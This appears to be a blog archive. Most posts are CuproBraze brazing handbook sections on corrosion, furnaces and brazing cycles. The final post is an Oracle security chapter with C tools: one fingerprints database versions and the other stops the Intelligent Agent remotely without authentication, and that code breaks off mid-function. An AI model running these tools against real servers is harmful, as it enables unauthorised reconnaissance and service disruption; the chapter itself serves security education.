4Handbook

Brazing Handbook - Corrosion Resistance and Special brazing processes

2012-01-12T08:44:00.001+07:00

Cleaning after brazing

Normally, no cleaning is needed after the brazing operation.

lnternal corrosion

The corrosion resistance of CuproBraze radiators is generally better than that of soldered radiators an d very competitive with that of aluminum.

When different metallic materials are used in the same cooling system, questions sometimes are raised about possible micro- galvanic corrosion risk, considering that the noble metal (copper) deposits on the unnoble metal (aluminum) surfaces. Inhibitor systems in the coolant are designed to prevent all kinds of corrosion in the cooling systems, including microgalvanic corrosion and, for this reason, the maintenance of the coolant is important. In general, however, copper alloys are less sensitive to a bad coolant than aluminum.

Corrosion test results in cool ants for CuproBraze materials (including tube brass SM 2385 and header brass SM 2464) are similar to test results for copper-based materials used in soft-soldered radiators. In a study on a mixed-metal cooling system, there was no indication of micro-galvanic corrosion on aluminum caused by copper. Therefore, the coolants th at fulfill the standard requirements with copper materials are considered compatible with materials used in CuproBraze radiators, and vice versa. CuproBraze heat exchangers are compatible with mixed-metal cooling systems.

External corrosion

The risks of external corrosion caused by galvanic attacks is minimized by the fact that the materials in CuproBraze radiators, including the copper-fin alloy, brass- tube alloy and the brazing alloy, have about equal mutual nobility. The brass-tube alloy contains 85 percent copper, which means that the alloy is less sensitive to stress corrosion cracking and dezincification than conventional brass alloys.

The brazing alloy OKC600 (CuNiSnP -type) also provides an extra protective and mechanically strengthening coating for tubes. Corrosion test results have been published. The references were soldered copper-brass radiators and brazed aluminum radiators. According to the results from four different kinds of accelerated corrosion tests, CuproBraze radiators were generally more corrosion resistant than soldered copper-brass radiators and very competitive with aluminum radiators. Generally, aluminum radiators were more prone to localized corrosion forms, whereas the corrosion form on CuproBraze was usually even and thus predictable.

Coatings

CuproBraze radiators are mechanically strong and facilitate thickness reductions High-performance coatings further improve corrosion resistance and make thickness reductions possible without risks from corrosion.

There are different ways to increase external corrosion resistance when reducing thickness. The easiest way is to leave the commonly used cosmetic coating off totally. An uncoated radiator has a lifetime that is about 30 percent longer than the lifetime of a cosmetically spray-coated radiator.

Electrophoretic coating is the best technical solution to increase corrosion resistance. It increase s the lifetime by 2.5 to 3 times compared to an uncoated radiator . A new option is powder coating with a multi-nozzle spray gun, which gives good results with respect to corrosion resistance and thermal performance and has a lower cost compared to an electrophoretic coating.

High-performance coatings cover the entire external radiator surface (not just 10 percent of it, as is the case for most conventional cosmetic-spray coatings). They clearly prolong the lifetime of the radiators. These technologies are commercially available.

One shot brazing

One shot brazing is when all or most of the joints in the heat exchangers are brazed simultaneously in one brazing cycle and there are no metallurgical differences between one shot and other brazed joints. If the brazing parameters for all joints are fulfilled, the joints will be satisfactorily brazed. There are some points to be noted. If the one-shot brazed heat exchanger includes inner fins or other kind of joints inside the component, it must be ensured that the atmosphere around all joints fulfill the recommendations for the atmosphere stated in chapter 6.1. In most cases, purging inside the heat exchanger with nitrogen is necessary. To ensure good brazing results in all joints, the joint geometry as well as fixturing and paste application should be designed for furnace brazing. During the brazing process some movements between parts in the joints can take place due to stress relieving in stamped parts and also due to differences in thermal expansion between the parts . When designing for one shot brazing th is should be taken into account. If possible, self-fixturing of the parts should be used.

The normal design for soldered tank-header joints, in most cases, has gaps that are too large for satisfactory brazed joints. The design for brazed joints should be in the recommendation earlier in this handbook, an optimal joint gap of 50 µm to a maximum 100 µm.

Figure 28 shows a norm a l geometry for soldering of header-tank. In figure 29 some improved header-tank designs are shown.

Figure 28. Typical joint for soldered header-tank. Gaps are too large

Figure 29. Alternative joint geometries for header-tank.

Many of the joints in “one shot” brazing are placed upside down or horizontally, it is therefore important to use a brazing paste suitable for this kind of joints.

The brazing paste should (if possible) be applied just outside the joints. During brazing the molten filler metal will b e drawn into th e joint by capillary force.

Brazing of parts with internal turbulators (CAC)

If fin tip application is used, fum e from the binder is form e d during the first part of the brazing cycle. Experience has shown that it is difficult to evaporate all fum e s from the inside of the tube s be fore the brazing takes place, consequently having a bad influence on the brazing result. Therefore to avoid the risk of scraping off the paste on the tips during assembling, brazing foil is recommended to be used as filler metal for internal turbulators, especially for charge air coolers (CAC). The foil can be inserted together with the turbulator s from the end of the tube, see figure 30.

Figure 30. Brazing foil used for internal fin brazing.

When turbulators similar to norm a l fins for heat exchangers are used, they should be designed to take up some elastic movements during the brazing cycle. If very stiff turbulators are used they can form a split in the sample after brazing.

Splitter-fin together w ith CuproBraze

Splitter-fin is a method to solder thin copper fins to a centre strip, which together forms a strong fin-module, which is easy to use and has improved heat performance (figure 31). The splitter-fin-module is so far not possible to produce with CuproBraze brazing-paste but soldered splitter-fins are sometimes used in CuproBraze heat exchangers. In this case the fin material is SM 0502 (the normal CuproBraze fin ma terial) and the soldered joints (lead -free) are used as “pre-joining). W hen t he soldered joints between the fins and the centre strip are heated up to brazing temperature, the joints will be transformed to a copper-tin phase with similar composition appearing at the brazed fins in the CuproBraze process.

Figure 31. Splitter-fin modules to the left and the module inserted in a core to the right.

Brazing of steel parts

Brazing any steel parts is not recommended, due to formations of brittle Fe-P-film between the filler and the base metal.

Brazing Handbook - Selecting a furnace

2012-01-12T08:09:00.001+07:00

Selecting a furnace

Factors to consider when select ing a suitable furnace are production volume, part size, available floor space, capital expense, and operating cost. Based on these specifications, the CuproBraze heat exchangers can be processed in batch, semi-continuous or continuous furnaces.

Selecting a suitable furnace requires knowledge of the temperature, time and atmospheric conditions of the process. All of the furnaces have heating and cooling sections. Batch furnaces and semi-continuous furnaces are suitable for any part size but limited with respect to production volume. Continuous furnaces are suitable for high volume production.

Batch furnace

A batch furnace uses the same door to load and unload the part. These furnaces can only produce one batch at a time. A load is purged with nitrogen then moved into the brazing chamber; after brazing, the load is moved back into the purge chamber where it is cooled.

Semi-continuous furnace

In a semi-continuous furnace parts are indexed from the loading area to the purge chamber, where the part is purged with nitrogen and then moved into the next chamber. The furnace simultaneously moves the purged part into the brazing chamber and a new part into the purge chamber. This type of furnace is suitable for large parts or intermediate volume production.

Continuous furnace

A continuous furnace uses a conveyor-belt to continuously move parts through the furnace where they are continuously purged with nitrogen, brazed and then cooled. This type of furnace is for high-volume production. A continuous furnace is not recommended for parts longer than 1000 mm because when the front of the part enters the heating zone, it conducts heat to the rear of the part. As a result, the trailing section of the part is held at temperature for a much longer time than the leading edge of the part.

Heating source

It is possible to heat all three types of furnaces with electricity, natural gas, or propane/butane. In many countries, natural gas and propane are a cheaper source of energy than electricity, but they require more maintenance and have a higher initial cost. Gas burners also require a gas-tight barrier between the combustion products and the brazing atmosphere. Such a barrier can be radiant tubes or a muffle.

Process emissions

Process emissions are generated when the binder is volatilized during the first part of the heating cycle. These emissions must be properly managed to prevent contamination of the atmosphere in the furnace. The constant flow of nitrogen normally expels the vapour from the brazing atmosphere. As there is no oxygen available to burn the gas products in the furnace, the gases mu st either be burned outside the furnace or diluted with ambient at mosphere, according to the local regulations, requiring, in most cases , some kind of afterburner. The laws vary from country to country and state to state, so one must check with the local authorities before designing a furnace. The generated emission is influenced by the binder system and could be totally different between paste ma nufacturers. Further information regarding the emissions, and further handling of them, are obtainable from paste manufacturers.

Important: Most of the binders form emissions. Contact the paste manufacturer to check if any kind of afterburner must be used.

Brazing Handbook - Brazing operation

2012-01-11T12:23:00.001+07:00

Brazing operation

Because the amount of flux in the CuproBraze process should be zero or absolutely minimal, and the parts should be oxide free after brazing, an inert atmosphere is needed to prevent oxidation of the parent and filler materials. As the brazing temperature is much lower than the melting points for the copper and brasses, the temperature differences in the parts during the brazing process are not critical. As the CuproBraze process covers parts from around 100g up to more than 100kg it is not possible to advise exact settings of the furnaces.

Atmosphere

The primary function of the brazing atmosphere is to prevent oxidation. Furnaces for the CuproBraze process use high-purity nitrogen to displace oxygen from inside the furnace. The atmosphere of the furnace must have an oxygen content of less than 20ppm. The brazing powder is very sensitive when the binder starts to evaporate, If moisture and oxygen levels ar e higher than these levels, the powder and the base material have a risk of oxidation at temperatures exceeding about 200ºC the and the result is very poor joints. Thus the starting point of the brazing cycle is as sensitive for oxygen-content as the rest of the brazing cycle.

Mixing the brazing atmosphere with small amount of hydrogen (H ₂) is not generally recommended. Hydrogen can sometimes react with the organic binder forming products which can have an influence on the brazing result. Before using hydrogen or hydrogen mixed atmosphere, the paste manufacturer should be consulted.

Important : The oxygen content should be controlled from the time when the heating starts and no heat should be applied if the atmospheric conditions are not met.

Temperature and time

The difference in the melting points for the filler metal and the copper and brass materials is more than 300ºC, which means that there is no risk to destroy the parts by melting. The temperature above the melting point for the filler metal (600ºC) should be as short as possible but still gain a satisfactory brazing result. It means that the furnace must be able to heat up the load in the brazing zone with a steep ramp. A common value is more than 30ºC per minute. The furnace must be able to operate up to 700ºC. Figure 27 shows a principle temperature-time curve for the CuproBraze process.

Figure 27. Pr inciple temperature-ti me curve for the CuproBraze
process.

In the part A, the sample is slowly heated up and the binder evaporates and/or is decomposed. When the binder disappears, it leaves the particles in the brazing paste without any protection from oxidation if the oxygen content is too high. The oxygen content should therefore be controlled from the time when the heating starts and no heat should be applied if the atmospheric conditions are not me t. The brazing result will be poor if the brazing powder is oxidized before it starts to melt. Note that some big heat exchangers as well as “one shot” parts can include a lot of s mall half closed volumes, which could influence necessary time to reach satisfactory oxygen content. Good convection in the furnace is therefore recommended.
By the rather slow heating rate in this zone, the temperature differences in the samples are minimized, and the distortion of the sample due to heat expansion can also be minimized.

In part B th e whole co re will be p reheated to just under the melting point of the brazing metal. To minimize the temperature-difference in the core at brazing, the part B should be designed so the temperature in the whole sample is as equal as possible when the brazing part is entered. In some batch furnaces, there is no pre-heating and in that case furnace settings that minimize the temperature differences in the sample have to be used.

Part C is the brazing period. When the temperature exceeds 600ºC, the brazing filler metal (powder or foil) starts to melt. When it melts, metallurgical reactions (diffusion) starts and the extent of the filler-substrate interaction is the most important. The filler interaction on the fin material is when it starts to be alloyed with tin, forming a copper-tin alloy close to the joint. It does not influence the performance except for exceptional long brazing times, where some loss of thermal performance (up to 10 %) of the heat exchanger can occur. The governing factor for the brazing cycle in most cases is the brazing of the tube-header joints. In chapter 5 figure 11 it is shown that the brazing temperature has a big impact on the possibility to satisfactory fill gaps. In practice it has been found that to satisfactorily wet the surfaces and fill the joints, you should ensure that the temperature in the joints reaches 650ºC or for some cases even 670ºC.

As the alloying reaction starts when the molten filler metal wets the surfaces, the time above 600ºC should be as short as possible but long enough to reach complete brazing in tube-header joints., For small radiators, 3 to 4 minutes is typical. For bigger parts the time is guided by the tube-header brazing.

To reach short brazing times, usually the setting of the brazing part (A) of the furnaces is higher than 650ºC.
The effect of the brazing cycle on the tube-to-fin joints cannot be seen by the naked eye. During optimization of the brazing cycle, overshooting of the brazing temperature can sometimes happen, but it will not lead to any noticeable visual effect on the brazed heat exchanger as the melting point for copper and brass is far higher than the brazing temperature.

To minimize the risk for distortion of the joints during cooling (part D), it is recommended to have a low cooling rate down to around 550ºC, typical value 1ºC/s.

To prevent discoloration of the brazed parts, they should not leave the inert atmosphere until the part temperature is below 150ºC. In places where the ambient humidity is high the exit temperature should be even lower to prevent discoloration. Note: This discoloration is only a cosmetic effect and it will not deteriorate the brazed joint.

At least during optimization of the brazing cycle, it is highly recommended that some kind of measurement of the temperature with thermocouples mounted in the core should be used. To have full control on the brazing process, it is recommended to also have this equipment available to check the process every now and then during normal production. If it is not possible to use the thermocouples together with equipments outside the furnace, it is recommended to use them with a tracker following the sample through the furnace.

The brazed part should be cooled down as uniformly as possible at least in the first phase to prevent deformation. The temperature drop should be equal in the whole core. One way to achieve this is to slow down the cooling to around 550ºC. At that temperature, the filler metal in the joints is no longer molten.
To satisfactorily wet the surfaces and fill the joints, ensure that the temperature in them reaches 650ºC or for some new types of header pastes even 660ºC.

The Oracle Architecture

2011-12-18T19:23:00.003+07:00

Overview

Oracle is probably the most popular database server out there, with the largest share of the market. It's used in most vertical market areas for a range of storage needs such as financial records, human resources, billing, and so on. One of the reasons for this is that Oracle was an earlier player in the RDBMS area and it provided versions of its database that ran on most operating systems; and it still does, although it seems its preferred OS of choice is moving away from Solaris toward Linux. In the wild you more often come across Oracle running on these platforms but there's also a good deal of Oracle running on HP-UX and AIX. It also seems with the explosion of e-Commerce a few years back that Oracle gained a lot of traction as the database of choice for web applications. This took the database one step closer to the hands of attackers and indeed, once Oracle came into the light from out of the backend of the backend, it gained more attention from the security side of things.

Oracle produces, in my opinion and as far as storing and querying data is concerned, one of the best database servers available. It's incredibly configurable and highly functional. There's an interface into the RDBMS to suit almost any developer taste and for every business use that can be dreamed of, it seems that Oracle has already provided the solution. All of this comes at a cost, though. Each sliver of functionality provides a breadth of attack surface; each solution a potential attack vector. The problem isn't just getting to grips with the abundance of functionality to configure, however. The code behind the RDBMS has historically been subject to a number of buffer overflows, and other security problems such as PL/SQL Injection in default packages and procedures have required patches in the past. All this said, as long as your database server doesn't ever get attacked, and of course assuming you're running Oracle, then you can long enjoy the great benefits this powerful RDBMS provides. But let's face it: in today's world it's not a case of, "Will I be attacked?" It's a case of "When will I be attacked?" So, if you are actually concerned about your Oracle security or lack thereof, read on.

Examining the Oracle Architecture

We begin this chapter by examining the physical layout of the database, such as the Oracle processes and how they interact with the network. We move on to examining authentication and authorization and then move to the logical layout of the database.

Oracle Processes and Oracle on the Network

This section describes the major components of Oracle and their interaction with the network. We begin with perhaps the most crucial network-facing component, the TNS Listener.

The Oracle TNS Listener

The TNS Listener is the hub of all communications in Oracle. "TNS" stands for Transparent Network Substrate and this is the protocol that Oracle uses to communicate between client and server. The TNS protocol is described on the Ethereal web site at http://www.ethereal.com/docs/dfref/t/tns.html.

The TNS Listener responds to a number of commands such as "version," "status," and "services," and when a database server is first started, it registers with the TNS Listener using the service_register_NSGR command. This lets the TNS Listener know that the database server is ready to accept connections. Incidentally, although the service_register_NSGR command is intended to be used locally the command can be sent over the network. In the past there have been denial of service issues with this command that can kill the TNS Listener.

When a client wishes to access the database server, the client connects first to the Listener. The Listener replies back with a TCP port that the client should connect to. The client connects to this port and then authenticates to the database server. If, however, the database has been configured in MTS, or Multi Threaded Server, mode then no port is assigned as such and communication with the database server takes place over the same TCP port that the Listener is listening on. The TNS Listener usually listens on TCP port 1521 but, depending upon the version of Oracle and what applications have been installed this port may be different, for example 1526. Regardless, the TNS Listener can be configured to listen on any TCP port.

The TNS Listener is also integral to PL/SQL and external procedures that we'll talk about later. Essentially when a PL/SQL procedure calls an external procedure, the RDBMS connects to the Listener, and the Listener launches a program called extproc to which the RDBMS connects. Extproc loads the library and executes the required function. As you'll see later this can be abused by attackers to run commands without a user ID or password.

If the XML Database is enabled—and it is by default in Oracle 9 and later—the TNS Listener holds open TCP port 2100 and 8080. The former allows querying of XML data over the FTP protocol and the latter over HTTP. The Listener proxies traffic on these ports to the RDBMS.

In versions of Oracle prior to 10g, the TNS Listener could be administered remotely. What makes this particularly dangerous is the fact that by default the Listener is installed without a password so it is possible for anyone to administer the Listener. A password should be set to help secure the system. The Listener Control Utility, lsnrctl, is the tool used to manage the Listener. Using this tool it's possible, among other things, to query the Listener for registered database services and retrieve status information:

C:\oracle\ora92\bin>lsnrctl
LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 10-OCT-2004 17:31:49
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Welcome to LSNRCTL, type "help" for information.
LSNRCTL> set current_listener 10.1.1.1
Current Listener is 192.168.0.34
LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date                10-OCT-2004 16:12:50
Uptime                    0 days 1 hr. 19 min. 23 sec
Trace Level               off
Security                  ON
SNMP                      OFF
Listener Parameter File   C:\oracle\ora92\network\admin\listener.ora
Listener Log File         C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
  Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>

As you can see this leaks all kinds of useful information. As an interesting aside, if the Listener receives an invalid TNS packet, it will reply with a packet similar to

IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 94
      Identifier: 61557
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0x884c
      Source IP: 10.1.1.1
      Dest IP: 10.1.1.2
TCP Header
      Source port: 1521
      Dest port: 3100
      Sequence: 2627528132
      ack: 759427443
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 17450
      Checksum: 0xe1e8
      Urgent Pointer: 0
Raw Data
      00 36 00 00 04 00 00 00 22 00 00 2a 28 44 45 53  ( 6      "  *(DES)
      43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31  (CRIPTION=(ERR=11)
      35 33 29 28 56 53 4e 4e 55 4d 3d 31 35 31 30 30  (53)(VSNNUM=15100)
      30 30 36 35 29 29                                (0065)))

Looking at the value of VSNNUM, 151000065 in this case, we can derive the version of the server. When 151000065 is converted into hex we begin to see it better: 9001401. This equates to Oracle version 9.0.1.4.1. The following code can be used to query this information:

/************************************
/ Compile from a command line
/
/ C:\>cl /TC oraver.c /link wsock32.lib
/
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
   
int GetOracleVersion(void);
int StartWinsock(void);
struct hostent *he;
struct sockaddr_in s_sa;
int ListenerPort=1521;
char host[260]="";
unsigned char TNSPacket[200]=
"\x00\x46\x00\x00\x01\x00\x00\x00\x01\x37\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x0C\x00\x3A\x00\x00\x07\xF8"
"\x0C\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x4C\x00\x00"
"\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00";
   
int main(int argc, char *argv[])
{
      unsigned int err=0;
      if(argc == 1)
      {
            printf("\n\t*** OraVer ***");
            printf("\n\n\tGets the Oracle version number.");
            printf("\n\n\tC:\\>%s host [port]",argv[0]);
            printf("\n\n\tDavid Litchfield\n\tdavidl@ngssoftware.com\n\t22th April 2003\n");
            return 0;
      }
      strncpy(host,argv[1],256);
      if(argc == 3)
            ListenerPort = atoi(argv[2]);
      err = StartWinsock();
      if(err==0)
            printf("Error starting Winsock.\n");
      else
            GetOracleVersion();
      WSACleanup();
      return 0;
}            
   
int StartWinsock()
{
      int err=0;
      unsigned int addr;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if ( err != 0 )
            return 0;
      
      if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
            return 0;
      
      s_sa.sin_addr.s_addr=INADDR_ANY;
      s_sa.sin_family=AF_INET;
      if (isalpha(host[0]))
      {
              he = gethostbyname(host);
            if(he == NULL)
            {
                  printf("Failed to look up %s\n",host);
                  return 0;
            }
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
      }
      else
      {
            addr = inet_addr(host);
            memcpy(&s_sa.sin_addr,&addr,4);
      }
      return 1;
}
   
int GetOracleVersion(void)
{
      
      unsigned char resp[200]="";
      unsigned char ver[8]="";
      unsigned char h=0,l=0,p=0,q=0;
      int snd=0,rcv=0,count=0;
      SOCKET cli_sock;
      char *ptr = NULL;
   
      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
                return printf("\nFailed to create the socket.\n");
      
      s_sa.sin_port=htons((unsigned short)ListenerPort);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            printf("\nFailed to connect to the Listener.\n");
            goto The_End;
      }
      snd=send(cli_sock, TNSPacket , 0x3A , 0);
      snd=send(cli_sock, "NGSSoftware\x00" , 12 , 0);
      rcv = recv(cli_sock,resp,196,0);
      if(rcv == SOCKET_ERROR)
      {
            printf("\nThere was a receive error.\n");
            goto The_End;
      }
      while(count < rcv)
      {
            if(resp[count]==0x00)
                  resp[count]=0x20;
            count++;
      }
      
      ptr = strstr(resp,"(VSNNUM=");
      if(!ptr)
      {
            printf("\nFailed to get the version.\n");
            goto The_End;
      }
      ptr = ptr + 8;
      count = atoi(ptr);
      count = count << 4;
      memmove(ver,&count,4);
      h = ver[3] >> 4;
      l = ver[3] << 4;
      l = l >> 4;
      p = ver[1] >> 4;
      q = ver[0] >> 4;
      printf("\nVersion of Oracle is %d.%d.%d.%d.%d\n",h,l,ver[2],p,q);
The_End:
      closesocket(cli_sock);
      return 0;
}

The Oracle RDBMS

Because we'll be talking about the Oracle RDBMS in depth in later sections, we'll simply cover a few of the more important details here. One of the major differences between Oracle running on Windows and Oracle running on UNIX-based platforms is the number of processes that combine to create the actual RDBMS. On Windows there is simply the oracle.exe process, but on UNIX platforms there are multiple processes each responsible for some part of functionality. Using ps we can list these processes:

$ ps -ef | grep oracle
  oracle  17749     1  0 11:26:13 ?        0:00 ora_pmon_orasidsol
  oracle  10109     1  0   Sep 18 ?        0:01 /u01/oracle/product/9.2.0/bin/tnslsnr listener920 -inherit
  oracle  17757     1  0 11:26:16 ?        0:01 ora_smon_orasidsol
  oracle  17759     1  0 11:26:17 ?        0:00 ora_reco_orasidsol
  oracle  17751     1  0 11:26:15 ?        0:01 ora_dbw0_orasidsol
  oracle  17753     1  0 11:26:16 ?        0:01 ora_lgwr_orasidsol  
  oracle  17755     1  0 11:26:16 ?        0:05 ora_ckpt_orasidsol
  oracle  17762     1  0 11:30:59 ?        1:34 oracleorasidsol (LOCAL=NO)

Each RDBMS process has the name of the database SID appended to it—in this case orasidsol. The following list looks at each process and discusses what each does.

The PMON process. This is the Process Monitor process and its job is to check if any of the other processes fail, and perform housekeeping tasks if one does such as free handles and so on.
The SMON process. This is the System Monitor process and it is responsible for crash recovery if a database instance crashes.
The RECO process. This is the Distributed Transaction Recovery process and handles any unresolved transactions.
The DBWR process. This is the Database Writer process. There may be many such processes running. From the preceding ps listing we can see only one—numbered 0.
The LGWR process. This is the Log Writer process and is responsible for handling redo logs.
The CKPT process. This is the Checkpoint process and every so often it nudges the Database Writer process to flush its buffers.

All of these background processes are present on Windows, too; they're just all rolled up into the main oracle.exe process.

The oracleorasidsol process is what is termed the shadow or server process. It is actually this process that the client interacts with. Information about processes and sessions is stored in the V$PROCESS and V$SESSION tables in SYS schema.

The Oracle Intelligent Agent

This component is peripheral to the actual RDBMS but is integral to its management. The Intelligent Agent performs a number of roles, but probably its most significant function is to gather management and performance data, which can be queried through SNMP or Oracle's own proprietary protocols. The Agent listens on TCP port 1748, 1808, and 1809. As far as SNMP is concerned the port is configurable and may be the default of UDP 161 or often dbsnmp can be found listening for SNMP requests on 1161. In Oracle 10g dbsnmp has gone and in its place is the emagent.

Performance data can be queried remotely without having to present a username or password using the Oracle Enterprise Manager tool—specifically using the "Performance Manager" of the "Diagnostic Pack." This, needless to say, can provide attackers with a wealth of information about the remote system. For example, they could list all running processes, get memory usage, and so on.

Another of the tools provided by Oracle to manage the Intelligent Agent is the agentctl utility. Using this tool the Agent can be stopped, started, queried for its status, and blackouts started and stopped. A blackout essentially tells the Agent to stop gathering data or stop executing jobs. The agentctl utility is somewhat limited though; it can't really be used to query remote systems. However, it does use sockets on the local system to communicate with the Agent so a couple of strategic break points in a debugging session will reveal what traffic is actually being passed backward and forward. If you prefer to use port redirection tools for this kind of work this will do admirably, also. Whichever way you dump the packets you'll quickly notice that none of the communications are authenticated. This means, for example, an attacker could define blackouts or stop the Agent without having to present any username or password. The following code can be used to dump information from the Intelligent Agent:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define DBSNMPPORT 1748
int QueryDBSNMP(int in);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";
   
unsigned char Packet_1[]=
"\x00\x6A\x00\x00\x01\x00\x00\x00\x01\x38\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x30\x00\x3A\x00\x00\x00\x64"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB4\x00\x00"
"\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x28\x4F\x45\x4D\x5F\x4F"
"\x4D\x53\x3D\x28\x56\x45\x52\x53\x49\x4F\x4E\x3D\x28\x52\x45\x4C"
"\x45\x41\x53\x45\x3D\x39\x2E\x32\x2E\x30\x2E\x31\x2E\x30\x29\x28"
"\x52\x50\x43\x3D\x32\x2E\x30\x29\x29\x29\x54\x76\x10";
unsigned char Packet_2[]=
"\x00\x42\x00\x00\x06\x00\x00\x00\x00\x00\x28\x41\x44\x44\x52\x45"
"\x53\x53\x3D\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x74\x63\x70"
"\x29\x28\x48\x4F\x53\x54\x3D\x31\x36\x39\x2E\x32\x35\x34\x2E\x33"
"\x32\x2E\x31\x33\x33\x29\x28\x50\x4F\x52\x54\x3D\x31\x37\x34\x38"
"\x29\x29\x00\x3E\x00\x00\x06\x00\x00\x00\x00\x00\x20\x08\xFF\x03"
"\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32\x10\x32"
"\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x10\x00\x00\x80"
"\x01\x00\x00\x00\x00\x00\x84\x03\xBC\x02\x80\x02\x80\x02\x00\x00";
unsigned char Packet_3[]=
"\x00\x52\x00\x00\x06\x00\x00\x00\x00\x00\x44\x00\x00\x80\x02\x00"
"\x00\x00\x00\x04\x00\x00\xB0\x39\xD3\x00\x90\x00\x23\x00\x00\x00"
"\x44\x32\x44\x39\x46\x39\x35\x43\x38\x32\x42\x46\x2D\x30\x35\x45"
"\x44\x2D\x45\x30\x30\x30\x2D\x37\x32\x33\x30\x30\x38\x33\x31\x35"
"\x39\x42\x30\x02\x00\x30\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x1E\x00\x00\x06\x00\x00\x00\x00\x00\x10\x00\x00\x80"
"\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
unsigned char Packet_4[]=
"\x00\x0A\x00\x00\x06\x00\x00\x00\x00\x40";
int main(int argc, char *argv[])
{
      int count = 56;
      if(argc != 3)
      {
            printf("\n\n\n\tOracle DBSNMP Tool\n\n\t");
            printf("C:\\>%s host status|stop",argv[0]);
            printf("\n\n\tDavid Litchfield\n\t");
            printf("davidl@ngssoftware.com");
            printf("\n\t4th June 2004\n\n\n\n");
            return 0;
      }
      strncpy(host,argv[1],250);
      if(!StartWinsock())
            return printf("Error starting Winsock.\n");
      if(stricmp(argv[2],"status")==0)
      {
            printf("\n\nStatus...\n\n");
            Packet_3[69] = 0x38;
      }
      if(stricmp(argv[2],"stop")==0)
      {
            printf("\n\nStopping...\n\n");
            Packet_3[69] = 0x37;
      }
      QueryDBSNMP(Packet_3[69]);
      WSACleanup();      
      return 0;
}            
   
int StartWinsock()
{
      int err=0;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err != 0)
            return 0;
      if (LOBYTE(wsaData.wVersion) !=2 || HIBYTE(wsaData.wVersion) !=0)
        {
            WSACleanup();
            return 0;
      }
      if (isalpha(host[0]))
      {
            he = gethostbyname(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
        }
      else
      {
            addr = inet_addr(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,&addr,4);
            he = (struct hostent *)1;
      }
      if (he == NULL)
            return 0;
      return 1;
}
   
int QueryDBSNMP(int in)
{
      unsigned char resp[1600]="";
      int snd=0,rcv=0,count=0;
      unsigned int ttlbytes=0;
      unsigned int to=2000;
      struct sockaddr_in cli_addr;
      SOCKET cli_sock;
      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
      {
            printf("socket error.\n");
            return 0;
          }
      cli_addr.sin_family=AF_INET;
      cli_addr.sin_addr.s_addr=INADDR_ANY;        
      cli_addr.sin_port=htons((unsigned short)0);
//setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
      if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("bind error");
            return 0;
          }
      s_sa.sin_port=htons((unsigned short)DBSNMPPORT);
